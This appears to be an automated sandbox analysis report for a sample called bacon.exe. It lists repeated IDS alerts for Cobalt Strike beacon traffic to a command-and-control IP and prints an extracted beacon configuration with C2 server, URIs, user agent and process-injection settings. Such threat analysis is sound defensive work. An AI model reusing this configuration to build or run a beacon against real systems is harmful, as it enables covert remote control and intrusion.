2024-10-28T16:01:37.661565+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49198	46.173.214.102	80	TCP
2024-10-28T16:01:39.581415+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49199	46.173.214.102	80	TCP
2024-10-28T16:01:40.461747+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49200	46.173.214.102	80	TCP
2024-10-28T16:01:41.214814+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49201	46.173.214.102	80	TCP
2024-10-28T16:01:41.962291+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49202	46.173.214.102	80	TCP
2024-10-28T16:01:42.706444+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49203	46.173.214.102	80	TCP
2024-10-28T16:01:43.465408+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49204	46.173.214.102	80	TCP
2024-10-28T16:01:44.209238+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49205	46.173.214.102	80	TCP
2024-10-28T16:01:44.985257+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49206	46.173.214.102	80	TCP
2024-10-28T16:01:45.849733+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49207	46.173.214.102	80	TCP
2024-10-28T16:01:46.595238+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49208	46.173.214.102	80	TCP
2024-10-28T16:01:47.348124+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49209	46.173.214.102	80	TCP
2024-10-28T16:01:48.098119+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49210	46.173.214.102	80	TCP
2024-10-28T16:01:48.853359+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49211	46.173.214.102	80	TCP
2024-10-28T16:01:49.602701+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49212	46.173.214.102	80	TCP
2024-10-28T16:01:50.385267+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49213	46.173.214.102	80	TCP
2024-10-28T16:01:51.137249+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49214	46.173.214.102	80	TCP
2024-10-28T16:01:52.347348+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49215	46.173.214.102	80	TCP
2024-10-28T16:01:53.110950+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49216	46.173.214.102	80	TCP
2024-10-28T16:01:53.869903+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49217	46.173.214.102	80	TCP
2024-10-28T16:01:54.617164+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49218	46.173.214.102	80	TCP
2024-10-28T16:01:55.534049+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49219	46.173.214.102	80	TCP
2024-10-28T16:01:56.314757+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49220	46.173.214.102	80	TCP
2024-10-28T16:01:57.071082+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49221	46.173.214.102	80	TCP
2024-10-28T16:01:57.828175+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49222	46.173.214.102	80	TCP
2024-10-28T16:01:58.582432+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49223	46.173.214.102	80	TCP
2024-10-28T16:01:59.333683+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49224	46.173.214.102	80	TCP
2024-10-28T16:02:00.093793+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49225	46.173.214.102	80	TCP
2024-10-28T16:02:00.844878+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49226	46.173.214.102	80	TCP
2024-10-28T16:02:01.648937+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49227	46.173.214.102	80	TCP
2024-10-28T16:02:02.428901+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49228	46.173.214.102	80	TCP
2024-10-28T16:02:03.225566+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49229	46.173.214.102	80	TCP
2024-10-28T16:02:03.974332+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49230	46.173.214.102	80	TCP
2024-10-28T16:02:04.789405+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49231	46.173.214.102	80	TCP
2024-10-28T16:02:05.690128+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49232	46.173.214.102	80	TCP
2024-10-28T16:02:06.430343+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49233	46.173.214.102	80	TCP
2024-10-28T16:02:07.222417+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49234	46.173.214.102	80	TCP
2024-10-28T16:02:07.957934+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49235	46.173.214.102	80	TCP
2024-10-28T16:02:08.704593+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49236	46.173.214.102	80	TCP
2024-10-28T16:02:09.454926+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49237	46.173.214.102	80	TCP
2024-10-28T16:02:10.209336+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49238	46.173.214.102	80	TCP
2024-10-28T16:02:10.961807+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49239	46.173.214.102	80	TCP
2024-10-28T16:02:11.721401+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49240	46.173.214.102	80	TCP
2024-10-28T16:02:12.477281+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49241	46.173.214.102	80	TCP
2024-10-28T16:02:13.249098+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49242	46.173.214.102	80	TCP
2024-10-28T16:02:14.001931+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49243	46.173.214.102	80	TCP
2024-10-28T16:02:14.780970+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49244	46.173.214.102	80	TCP
2024-10-28T16:02:15.540468+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49245	46.173.214.102	80	TCP
2024-10-28T16:02:16.302711+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49246	46.173.214.102	80	TCP
2024-10-28T16:02:17.062308+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49247	46.173.214.102	80	TCP
2024-10-28T16:02:17.804563+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49248	46.173.214.102	80	TCP
2024-10-28T16:02:18.571861+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49249	46.173.214.102	80	TCP
2024-10-28T16:02:19.356327+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49250	46.173.214.102	80	TCP
2024-10-28T16:02:20.116503+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49251	46.173.214.102	80	TCP
2024-10-28T16:02:20.867383+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49252	46.173.214.102	80	TCP
2024-10-28T16:02:21.619649+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49253	46.173.214.102	80	TCP
2024-10-28T16:02:22.372142+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49254	46.173.214.102	80	TCP
2024-10-28T16:02:23.252485+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49255	46.173.214.102	80	TCP
2024-10-28T16:02:24.010420+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49256	46.173.214.102	80	TCP
2024-10-28T16:02:24.783923+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49257	46.173.214.102	80	TCP
2024-10-28T16:02:25.548515+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49258	46.173.214.102	80	TCP
2024-10-28T16:02:26.332608+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49259	46.173.214.102	80	TCP
2024-10-28T16:02:27.083050+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49260	46.173.214.102	80	TCP
2024-10-28T16:02:27.834212+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49261	46.173.214.102	80	TCP
2024-10-28T16:02:28.607302+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49262	46.173.214.102	80	TCP
2024-10-28T16:02:31.102602+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49263	46.173.214.102	80	TCP
2024-10-28T16:02:31.849923+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49264	46.173.214.102	80	TCP
2024-10-28T16:02:32.621402+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49265	46.173.214.102	80	TCP
2024-10-28T16:02:33.376594+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49266	46.173.214.102	80	TCP
2024-10-28T16:02:34.376966+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49267	46.173.214.102	80	TCP
2024-10-28T16:02:35.423511+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49268	46.173.214.102	80	TCP
2024-10-28T16:02:36.188317+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49269	46.173.214.102	80	TCP
2024-10-28T16:02:36.953945+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49270	46.173.214.102	80	TCP
2024-10-28T16:02:37.726665+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49271	46.173.214.102	80	TCP
2024-10-28T16:02:38.479583+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49272	46.173.214.102	80	TCP
2024-10-28T16:02:38.909906+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49273	46.173.214.102	80	TCP
2024-10-28T16:02:39.681522+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49274	46.173.214.102	80	TCP
2024-10-28T16:02:40.426408+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49275	46.173.214.102	80	TCP
2024-10-28T16:02:41.203513+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49276	46.173.214.102	80	TCP
2024-10-28T16:02:41.980188+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49277	46.173.214.102	80	TCP
2024-10-28T16:02:42.757518+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49278	46.173.214.102	80	TCP
2024-10-28T16:02:43.513101+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49279	46.173.214.102	80	TCP
2024-10-28T16:02:44.297124+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49280	46.173.214.102	80	TCP
2024-10-28T16:02:45.306616+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49281	46.173.214.102	80	TCP
2024-10-28T16:02:46.091054+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49282	46.173.214.102	80	TCP
2024-10-28T16:02:47.109617+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49283	46.173.214.102	80	TCP
2024-10-28T16:02:47.854576+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49284	46.173.214.102	80	TCP
2024-10-28T16:02:48.628025+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49285	46.173.214.102	80	TCP
2024-10-28T16:02:49.374824+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49286	46.173.214.102	80	TCP
2024-10-28T16:02:50.175842+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49287	46.173.214.102	80	TCP
2024-10-28T16:02:50.949043+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49288	46.173.214.102	80	TCP
2024-10-28T16:02:51.688853+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49289	46.173.214.102	80	TCP
2024-10-28T16:02:52.467482+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49290	46.173.214.102	80	TCP
2024-10-28T16:02:53.303124+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49291	46.173.214.102	80	TCP
2024-10-28T16:02:54.048642+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49292	46.173.214.102	80	TCP
2024-10-28T16:02:54.838099+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49293	46.173.214.102	80	TCP
2024-10-28T16:02:55.594651+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49294	46.173.214.102	80	TCP
2024-10-28T16:02:56.471148+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49295	46.173.214.102	80	TCP
2024-10-28T16:02:57.264752+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49296	46.173.214.102	80	TCP
2024-10-28T16:02:58.005697+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49297	46.173.214.102	80	TCP
2024-10-28T16:02:58.773736+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49298	46.173.214.102	80	TCP
2024-10-28T16:02:59.605489+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49299	46.173.214.102	80	TCP
2024-10-28T16:03:00.363115+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49300	46.173.214.102	80	TCP
2024-10-28T16:03:01.309414+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49301	46.173.214.102	80	TCP
2024-10-28T16:03:02.054788+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49302	46.173.214.102	80	TCP
2024-10-28T16:03:03.373892+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49303	46.173.214.102	80	TCP
2024-10-28T16:03:04.128228+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49304	46.173.214.102	80	TCP
2024-10-28T16:03:04.556303+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49305	46.173.214.102	80	TCP
2024-10-28T16:03:05.323949+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49306	46.173.214.102	80	TCP
2024-10-28T16:03:06.469328+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49307	46.173.214.102	80	TCP
2024-10-28T16:03:07.246056+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49308	46.173.214.102	80	TCP
2024-10-28T16:03:08.005171+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49309	46.173.214.102	80	TCP
2024-10-28T16:03:08.981058+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49310	46.173.214.102	80	TCP
2024-10-28T16:03:09.865483+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49311	46.173.214.102	80	TCP
2024-10-28T16:03:10.625184+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49312	46.173.214.102	80	TCP
2024-10-28T16:03:11.393985+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49313	46.173.214.102	80	TCP
2024-10-28T16:03:13.392218+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49314	46.173.214.102	80	TCP
2024-10-28T16:03:14.151878+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49315	46.173.214.102	80	TCP
2024-10-28T16:03:14.915131+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49316	46.173.214.102	80	TCP
2024-10-28T16:03:15.778370+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49317	46.173.214.102	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: bacon.exe

Avira: detected

Found malware configuration

Source: 00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: CobaltStrike {"BeaconType": ["HTTP"], "Port": 80, "SleepTime": 60000, "MaxGetSize": 1048576, "Jitter": 0, "MaxDNS": 255, "C2Server": "46.173.214.102,/cm", "UserAgent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)", "HttpPostUri": "/submit.php", "Malleable_C2_Instructions": [], "HttpGet_Metadata": ["Cookie"], "HttpPost_Metadata": ["Content-Type: application/octet-stream", "id"], "PipeName": "", "DNS_Idle": "0.0.0.0", "DNS_Sleep": 0, "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%windir%\\syswow64\\rundll32.exe", "Spawnto_x64": "%windir%\\sysnative\\rundll32.exe", "CryptoScheme": 0, "Proxy_Behavior": "Use IE settings", "Watermark": 305419896, "bStageCleanup": "False", "bCFGCaution": "False", "KillDate": 0, "bProcInject_StartRWX": "True", "bProcInject_UseRWX": "True", "bProcInject_MinAllocSize": 0, "ProcInject_PrependAppend_x86": "Empty", "ProcInject_PrependAppend_x64": "Empty", "ProcInject_Execute": ["CreateThread", "SetThreadContext", "CreateRemoteThread", "RtlCreateUserThread"], "ProcInject_AllocationMethod": "VirtualAllocEx", "bUsesCookies": "True", "HostHeader": ""}

Multi AV Scanner detection for submitted file

Source: bacon.exe

ReversingLabs: Detection: 86%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: bacon.exe

Joe Sandbox ML: detected

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49188 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49206 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49268 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49249 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49177 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49167 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49265 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49173 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49168 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49164 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49172 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49189 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49184 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49201 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49270 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49279 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49251 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49228 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49229 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49240 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49247 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49166 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49262 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49285 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49165 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49196 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49203 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49213 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49178 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49175 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49207 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49231 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49180 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49235 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49239 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49281 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49194 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49200 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49218 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49193 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49204 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49208 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49269 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49171 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49273 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49238 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49205 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49216 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49224 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49230 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49305 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49244 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49299 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49307 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49302 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49311 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49308 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49174 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49300 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49306 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49181 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49199 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49259 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49275 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49254 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49313 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49284 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49209 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49220 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49169 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49183 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49294 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49245 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49212 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49176 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49246 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49190 -> 46.173.214.102:80
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.22:49312 -> 46.173.214.102:80
